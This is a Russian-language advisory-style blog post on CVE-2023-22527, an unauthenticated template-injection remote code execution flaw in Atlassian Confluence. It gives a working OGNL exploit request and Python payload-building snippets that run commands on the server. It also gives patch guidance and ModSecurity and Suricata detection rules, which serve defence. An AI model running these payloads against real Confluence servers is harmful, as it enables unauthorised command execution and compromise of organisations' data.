Уязвимость BDU:2024-00325 (CVE-2023-22527) Atlassian Confluence
Уязвимость BDU:2024-00325 (CVE-2023-22527) удаленного выполнения кода (RCE) в Atlassian Confluence Data Center и Server, связанная с инъекцией шаблонов. Она позволяет неаутентифицированному злоумышленнику выполнять произвольные команды на уязвимом сервере.
Анализ уязвимости
Уровень опасности: 10.0 (критический).
Вектор атаки: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
-
AV:N (Attack Vector: Network) - Атака через сеть: уязвимость эксплуатируется удаленно через сеть.
-
AC:L (Attack Complexity: Low) - Низкая сложность атаки: для эксплуатации не требуются специальные условия.
-
PR:N (Privileges Required: None) - Не требуются привилегии: атака возможна без аутентификации.
-
UI:N (User Interaction: None) - Не требуется взаимодействие пользователя.
-
S:C (Scope: Changed) - Оказывает влияние на другие компоненты, выходящие за рамки уязвимого приложения.
-
C:H (Confidentiality: High) - Полное нарушение конфиденциальности: несанкционированное раскрытие практически всей информации.
-
I:H (Integrity: High) - Полное нарушение целостности: возможность модифицировать любые файлы или данные.
-
A:H (Availability: High) - Полное нарушение доступности: возможность полностью заблокировать работу сервиса.
Условия эксплуатации
Для успешной атаки необходимо, чтобы злоумышленник имел сетевой доступ к уязвимой версии Confluence. Наличие аутентификации или анонимного доступа не является обязательным условием, так как уязвимость не требует аутентификации.
Затронуты версии Confluence Data Center и Server:
-
8.0.x
-
8.1.x
-
8.2.x
-
8.3.x
-
8.4.x
-
8.5.0 - 8.5.3
Незатронуты: облачные экземпляры Confluence (доступные через atlassian.net), а также версия 7.19.x LTS.
Основная причина уязвимости — небезопасная обработка пользовательского ввода в механизме шаблонов Velocity. Уязвимость возникает в файле шаблона text-inline.vm, который неправильно санирует данные, передаваемые в параметре label, перед их обработкой движком OGNL (Object-Graph Navigation Language).
Анализ вектора атаки
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Основная цель атаки — endpoint /template/aui/text-inline.vm.
Пример вредоносного HTTP-POST запроса:
POST /template/aui/text-inline.vm HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 243
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({%22whoami%22}):cite[5]
Ключевые элементы атаки:
-
Параметр
label: Содержит инъекцию OGNL-выражения, которое извлекает контекст Struts2 (KEY_velocity.struts2.context). -
Параметр
x: Содержит команду, которая будет выполнена на сервере. В данном примере —whoami.
Разбор ключевых компонентов эксплоита на Python:
Рассмотрим критически важные части кода для понимания механики эксплуатации.
-
Формирование полезной нагрузки (Payload):
payload = ('label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027'
'&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"' + command + '"}))\r\n')
-
Назначение: Создание строки с эксплойтом для уязвимого эндпоинта.
-
Ключевой метод:
findValue(#parameters.x,{})— функция OGNL, которая вычисляет переданное выражение. -
Класс
freemarker.template.utility.Execute— позволяет выполнять системные команды.
-
Отправка запроса и получение результата:
full_url = f"{url}/template/aui/text-inline.vm"
response = requests.post(full_url, verify=False, headers=headers, data=payload, timeout=10, allow_redirects=False)
return response.text.split('<!DOCTYPE html>')[0].strip()
-
Назначение: Отправка сформированного вредоносного запроса на целевой сервер и извлечение результата выполнения команды из ответа.
Способы защиты
1. Патчинг (наиболее эффективная мера)
Немедленно обновите Confluence до одной из исправленных версий:
-
Confluence Data Center и Server: 8.5.4 (LTS) или 8.5.5 (LTS).
-
Confluence Data Center: 8.6.0, 8.7.1 или 8.7.2.
2. Ограничение сетевого доступа
-
Используйте брандмауэры для запрета прямого доступа к портам Confluence (по умолчанию 8090, 8095) из интернета.
3. Настройка WAF/IPS
WAF должен располагаться перед сервером Confluence для фильтрации входящего трафика.
Пример правил для ModSecurity:
SecRule REQUEST_URI "@contains /template/aui/text-inline.vm" \
"id:1001,\
phase:2,\
block,\
msg:'Potential CVE-2023-22527 Exploit Attempt',\
logdata:'Matched %{MATCHED_VAR}',\
tag:'attack-injection'"
SecRule ARGS:label "@contains .KEY_velocity.struts2.context" \
"id:1002,\
phase:2,\
block,\
msg:'OGNL Injection in label parameter',\
tag:'attack-injection'"
SecRule ARGS "@contains freemarker.template.utility.Execute" \
"id:1003,\
phase:2,\
block,\
msg:'Detected Execute class usage',\
tag:'attack-injection'"
Пример правил для Suricata:
alert http any any -> $HOME_NET any (msg:"CVE-2023-22527 Exploit Attempt - OGNL Injection"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/template/aui/text-inline.vm"; http.request_body; content:".KEY_velocity.struts2.context"; classtype:web-application-attack; sid:2024003251; rev:1;) alert http any any -> $HOME_NET any (msg:"CVE-2023-22527 Exploit Attempt - Execute Class"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/template/aui/text-inline.vm"; http.request_body; content:"freemarker.template.utility.Execute"; classtype:web-application-attack; sid:2024003252; rev:1;)
Данные правила можно найти в моём наборе правил https://alekseycheremnykh.ru/post/besplatnye-pravila-dlya-ids-suricata/